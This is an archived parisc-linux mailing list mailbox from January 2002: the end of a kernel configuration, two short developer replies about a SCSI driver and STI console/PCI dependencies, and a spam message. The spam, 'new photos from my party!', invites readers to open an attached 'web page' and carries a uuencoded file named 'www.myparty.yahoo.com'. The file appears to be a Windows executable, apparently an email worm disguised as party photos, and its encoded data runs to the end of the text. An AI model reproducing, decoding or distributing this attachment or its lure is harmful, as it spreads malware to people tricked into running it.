# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--liOOAslEiF7prFVr--



From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sim700 Driver and 715/50's
Date: Tue, 29 Jan 2002 23:35:25 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020129233525.GG2884@sleepie.demon.co.uk>
References: <20020129172756.J1945@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621021 2103 80.91.229.3 (22 Nov 2014 01:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:21 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 16:46:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 823BD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 16:46:26 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id BAE4A9E97F; Tue, 29 Jan 2002 23:35:25 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020129172756.J1945@systemhalted>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13906

On Tue, Jan 29, 2002 at 05:27:56PM -0500, Carlos O'Donell Jr. wrote:
> Does this mean:
> 
> - sim700 driver is not quite working proplerly with new kernel

Looks like it.  You are probably the first person to try to use it
since the new driver was introduced.  It is likely to need changes to
match other kernel changes.  I'd rather not spend time updating it,
and would probably have removed it from the tree by now, if I were less
busy on other things.

Let me know if you really do need it working for comparison purposes and
I'll try find time to look at it - but probably not for a couple of weeks
at least.

Richard




From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Video stuff dependant on PCI?
Date: Tue, 29 Jan 2002 23:53:47 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020129235347.C26142@parcelfarce.linux.theplanet.co.uk>
References: <20020129174125.K1945@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621022 2134 80.91.229.3 (22 Nov 2014 01:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:22 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 16:53:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59559482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 16:53:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Vi4R-0007tN-00; Tue, 29 Jan 2002 23:53:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020129174125.K1945@systemhalted>; from carlos@baldric.uwo.ca on Tue, Jan 29, 2002 at 05:41:25PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13907

On Tue, Jan 29, 2002 at 05:41:25PM -0500, Carlos O'Donell Jr. wrote:
> STI Console is dependant on PCI
> 
> -> General Options -> PCI Support
> (CONFIG_PCI=n)
> 
> -> Console Drivers -> STI Console
> (CONFIG_STI_CONSOLE=y)

Heh, you're right, I was wondering about that earlier :-)

Actually, a recent change renamed pci_hwpath and moved the implementation
to drivers.c so it may well work now... try a cvs update.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: paolobentenuto@vidoetron.ca
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new photos from my party!
Date: Tue, 29 Jan 2002 18:38:25 -0700 (MST)
Lines: 671
Approved: news@gmane.org
Message-ID: <20020130013825.4ED6A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621022 2138 80.91.229.3 (22 Nov 2014 01:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:38:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from VL-MS-MR001.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ED6A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:38:25 -0700 (MST)
Original-Received: from HOST ([24.203.4.51]) by
          VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with SMTP id GQQ9VX03.LVX for
          <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 20:38:21 -0500 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13908

Hello!

My party... It was absolutely amazing!
I have attached my web page with new photos!
If you can please make color prints of my photos. Thanks!


begin 666 www.myparty.yahoo.com
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````@`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````!010``3`$#
M`)(B4CP``````````.``#P$+`04``'`````0````T```X$P!``#@````4`$`
M``!````0`````@``!``````````$``````````!@`0``$`````````,`````
M`!```!``````$```$````````!````````````````!0`0`(`0``````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````-`````0``````````(`````````
M`````````(```.````````````!P````X````'`````"````````````````
M``!```#@````````````$````%`!```"````<@``````````````````0```
MP```````````(0P)`@APIK/NYMN=S<$E`0#';````-X``"8!`$W=_O__58OL
M@>P$`0``BT4,4U97BP"CH`%!`.@0!!2_^V?W!&0)`<#XA<!T!0@-'VB@R$!O
MWQ[L`/\U)Q(<61E9#X7R0@!HF`'R'&`9V)3R'"#/H)"&C)T![%=U&FB(2806
M9+/9M`-]"TX"9QO[OS/?A$M\$1&,65"-A?S^__]0#3[F/KL0G%D,66A0'Q*L
M63/V:P^WP156`.L/`(<2"W;[[I\)<U!H2"E6_Q60(H#K+!WFMML[BST,(VH!
M)+L>;?>2;<TP4R37-0P)O3O8?P4F7UXSP%O)PYRXP"AU!;BHVK_WW@;#5FC0
MI"^)%)R+\-QNK;W=BW0>.S5P]1E>!\CY#;?OQR$3'(/$$%H2P5[#PU%MV1*V
M43W4&#W^?MFUFX)J`FJS-Q;<#(U%^%`>L+;%#.I9%AC_=?C-_37L"A7\4:-H
M=#Y6$G;]]NYCC;R+3?AT,]([P;`[5?QT""?[OHO/%8T$"8D-H%`]Q/E&&Q9[
MUB"E\VJ%V&$AH@`9IF6Y+=O+`/TSV\8'_VX4Q`9+LS5;#`%A!@)P`[-U#S=S
M:-A5_\E0$01+LS1;=`8%909R!R=;LS1`"&=""0I;<[)T#6P+#"YK#>;O9#L^
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
